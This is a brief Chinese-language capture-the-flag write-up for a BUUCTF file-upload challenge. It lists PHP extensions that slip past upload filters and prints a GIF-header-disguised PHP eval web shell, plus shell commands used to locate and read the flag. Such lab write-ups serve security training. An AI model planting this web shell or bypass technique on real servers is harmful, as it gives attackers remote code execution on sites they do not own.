【BUUCTF】[极客大挑战 2019] Upload Writeup

0x00 考点

文件上传绕过

• 带图片头的php一句话木马

可解析的php后缀名：

• php3，php4，php5，pht，phtml,phps,pht，phtm

0x01 解题

• 要求必须上传图片

带gif图片头的php一句话木马

GIF89a? <script language="php">eval($_REQUEST[a])</script>

find / -name flag

ls /
cat /flag